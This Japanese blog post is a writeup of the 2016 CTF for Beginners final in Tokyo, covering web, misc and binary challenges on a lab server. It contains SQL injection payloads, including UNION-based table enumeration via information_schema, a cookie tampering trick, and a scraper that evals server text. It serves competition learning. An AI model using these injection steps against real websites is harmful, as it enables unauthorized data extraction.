Posted at

CTF for ビギナーズ 2016 FINAL @東京 Writeup

More than 1 year has passed since last update.

http://2016.seccon.jp/news/#131

一度参加してみたかったCTF for ビギナーズ。

オンサイトで400人近くが集まったのは壮観でしたね。

1200点で13位(324人中)でした。がんばった。


Welcome (Misc 100)

チュートリアル。問題文に書いてあるフラグを送信すればOK。


てけいさん for ビギナーズ (Misc 200)

Webサイトで簡単な四則演算の問題が出る。100問連続正解でフラグ。

RubyのMechanize gemを使って自動化した。

たいていのサイトはCookieにセッション情報を持つけど、Mechanizeはそのあたりの状態の保持を自動で行ってくれる。

require 'mechanize'

agent = Mechanize.new

page = agent.get('http://172.20.1.31/php_math.php')

begin
for i in 0..100
puts page.body

page.body.match(%r|<div>(.+?)</div>|)
ans = eval($1)

form = page.forms.first

form.action = 'http://172.20.1.31/php_math.php'

# pp ans
form.answer = ans

page = agent.submit(form)
# pp page.body

end
rescue Mechanize::ResponseCodeError => exception
pp exception.page.body
end

意図的なのか不具合なのか、いくつか意地悪な箇所がある。


  • formのpost先が404 Not Found



    • /php_math.php に書き換え



  • 100問解いた後のページが500 Internal Server Error


    • でもbodyにフラグが書いてある

    • Mechanizeはエラーコードが返ってくると例外が飛んでしまうので、キャッチして対処




Classical Injection (Web 100)

たしか' OR 1=1 --を入れたらフラグが取れた。


May the extensions be with you. (Web 100)

Cookieにadmin=falseという値があるので、trueに書き換えたらフラグ。


もぐもぐ(・~・) (Web 200)

レストランの検索サイト。キーワード検索できる。

試しに' OR 1=1 -- (最後にスペースが必要だったはず) を入れるとデータが全件出てくるようなので、SQLインジェクションできそう。

次に

' union select null --

' union select null, null --

' union select null, null, null --

' union select null, null, null, null --

とやっていくと、nullが4つでエラーが出なくなるので、テーブルは4列と分かる。

次にテーブルの構造を調べる。SQLiteのコマンドは通らなかったが、下記でいけた。

' union select null, null, table_name, column_name from information_schema.columns --

下記が表示される。

(snip)

ごはん :
おみせ :secret_umasugi
ひとこと:id

ごはん :
おみせ :secret_umasugi
ひとこと:gohan

ごはん :
おみせ :secret_umasugi
ひとこと:shop

ごはん :
おみせ :secret_umasugi
ひとこと:comment

ごはん :
おみせ :umai
ひとこと:id

ごはん :
おみせ :umai
ひとこと:gohan

ごはん :
おみせ :umai
ひとこと:shop

ごはん :
おみせ :umai
ひとこと:comment

secret_umasugiテーブルがいかにも怪しい。

' union select id, gohan, shop, comment from secret_umasugi -- でフラグが取れた。

一歩一歩サーバの奥を探っていく感じで、この問題が一番面白かった。

解いた人が少なかったので、恥ずかしながら質疑応答の時間に解説させていただきました。手際が悪くてすみませんでした。


HiddenFlag (Binary 100)

.dataセクションにフラグがあった。

$ objdump -s -j .data bin100_1

bin100_1: ファイル形式 elf32-i386

セクション .data の内容:
804a018 00000000 00000000 63746634 627b666c ........ctf4b{fl
804a028 34675f31 6e5f6434 37345f35 33676d33 4g_1n_d474_53gm3
804a038 6e377d00 n7}.

stringsでも解ける。100点問題だからまずそっちを試すのがよさそう。


復習 (Binary 200)

逆アセンブルがテキストで与えられるので読む問題。

flag形式:ctf4b{Stage1の答え_Stage2の答え}

0804865f <Stage1>:

804865f: 55 push ebp
8048660: 89 e5 mov ebp,esp
8048662: 83 ec 10 sub esp,0x10
8048665: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048668: c7 00 0a 88 04 08 mov DWORD PTR [eax],0x804880a
804866e: 90 nop
804866f: 90 nop
8048670: c7 45 f8 03 00 00 00 mov X,0x3
8048677: 8b 55 f8 mov edx,X ; edx = 3
804867a: 89 d0 mov eax,edx ; eax = 3
804867c: c1 e0 03 shl eax,0x3 ; eax = 24
804867f: 29 d0 sub eax,edx ; eax = 21
8048681: 89 45 fc mov Y,eax ; Y = 21
8048684: 8b 45 fc mov eax,Y ; eax = 21
8048687: 83 c0 02 add eax,0x2 ; eax = 23
804868a: 89 45 f8 mov X,eax ; X = 23
804868d: 90 nop
804868e: 90 nop
804868f: 8b 45 f8 mov eax,X ; 23
8048692: c9 leave
8048693: c3 ret

08048694 <Stage2>:
8048694: 55 push ebp
8048695: 89 e5 mov ebp,esp
8048697: 83 ec 10 sub esp,0x10
804869a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804869d: c7 00 11 88 04 08 mov DWORD PTR [eax],0x8048811
80486a3: 90 nop
80486a4: 90 nop
80486a5: c7 45 f8 01 00 00 00 mov X,0x1
80486ac: c7 45 fc 01 00 00 00 mov Y,0x1
80486b3: eb 0e jmp 80486c3 <Stage2+0x2f>
80486b5: 8b 45 f8 mov eax,X
80486b8: 0f af 45 fc imul eax,Y
80486bc: 89 45 f8 mov X,eax
80486bf: 83 45 fc 01 add Y,0x1
80486c3: 83 7d fc 05 cmp Y,0x5
80486c7: 7e ec jle 80486b5 <Stage2+0x21>
80486c9: 90 nop
80486ca: 90 nop
80486cb: 8b 45 f8 mov eax,X
80486ce: c9 leave
80486cf: c3 ret

地道に追っていく。上のように、ローカル変数をX, Yのように置換すると読みやすい。

Stage2はforループっぽいので1*2*3*4*5 = 120かなと斜め読みしたら正解だった。


UnusedFunction (Binary 200)

genflagという使われてない関数がある。

先頭でスタックにフラグっぽいものを書き込んでいる。

 80484c6:       c6 45 d5 63             mov    BYTE PTR [ebp-0x2b],0x63

80484ca: c6 45 d6 74 mov BYTE PTR [ebp-0x2a],0x74
80484ce: c6 45 d7 66 mov BYTE PTR [ebp-0x29],0x66
80484d2: c6 45 d8 34 mov BYTE PTR [ebp-0x28],0x34
80484d6: c6 45 d9 62 mov BYTE PTR [ebp-0x27],0x62
80484da: c6 45 da 7b mov BYTE PTR [ebp-0x26],0x7b
80484de: c6 45 db 34 mov BYTE PTR [ebp-0x25],0x34
80484e2: c6 45 dc 6e mov BYTE PTR [ebp-0x24],0x6e
80484e6: c6 45 dd 34 mov BYTE PTR [ebp-0x23],0x34
80484ea: c6 45 de 6c mov BYTE PTR [ebp-0x22],0x6c
80484ee: c6 45 df 79 mov BYTE PTR [ebp-0x21],0x79
80484f2: c6 45 e0 7a mov BYTE PTR [ebp-0x20],0x7a
80484f6: c6 45 e1 33 mov BYTE PTR [ebp-0x1f],0x33
80484fa: c6 45 e2 5f mov BYTE PTR [ebp-0x1e],0x5f
80484fe: c6 45 e3 75 mov BYTE PTR [ebp-0x1d],0x75
8048502: c6 45 e4 6e mov BYTE PTR [ebp-0x1c],0x6e
8048506: c6 45 e5 75 mov BYTE PTR [ebp-0x1b],0x75
804850a: c6 45 e6 35 mov BYTE PTR [ebp-0x1a],0x35
804850e: c6 45 e7 33 mov BYTE PTR [ebp-0x19],0x33
8048512: c6 45 e8 64 mov BYTE PTR [ebp-0x18],0x64
8048516: c6 45 e9 5f mov BYTE PTR [ebp-0x17],0x5f
804851a: c6 45 ea 66 mov BYTE PTR [ebp-0x16],0x66
804851e: c6 45 eb 75 mov BYTE PTR [ebp-0x15],0x75
8048522: c6 45 ec 6e mov BYTE PTR [ebp-0x14],0x6e
8048526: c6 45 ed 63 mov BYTE PTR [ebp-0x13],0x63
804852a: c6 45 ee 37 mov BYTE PTR [ebp-0x12],0x37
804852e: c6 45 ef 31 mov BYTE PTR [ebp-0x11],0x31
8048532: c6 45 f0 30 mov BYTE PTR [ebp-0x10],0x30
8048536: c6 45 f1 6e mov BYTE PTR [ebp-0xf],0x6e
804853a: c6 45 f2 7d mov BYTE PTR [ebp-0xe],0x7d
804853e: c6 45 f3 00 mov BYTE PTR [ebp-0xd],0x0

その後にロジックが続くのでエンコードされてるかなと思ったけど、0x60近辺の値が多いのでアルファベットの平文かなとアタリをつけて、そのまま文字列に変換したら正解。

arr = [ 0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x34, 0x6e, 0x34, 0x6c, 0x79, 0x7a, 0x33, 0x5f, 0x75, 0x6e, 0x75, 0x35, 0x33, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x37, 0x31, 0x30, 0x6e, 0x7d, 0x0, ]

arr.each do |e|
print e.chr
end

ctf4b{4n4lyz3_unu53d_func710n}


まとめ

CTFの参加経験は何度かあるのですが、独学なので基礎をちゃんと押さえようと思って参加しました。

資料も講義もとてもわかりやすく、いくつか知らないツールやテクニックも学べてよかったです。

なにより現場でCTFをやるのは楽しかったです。運営の皆様ありがとうございました。


他の方のWriteup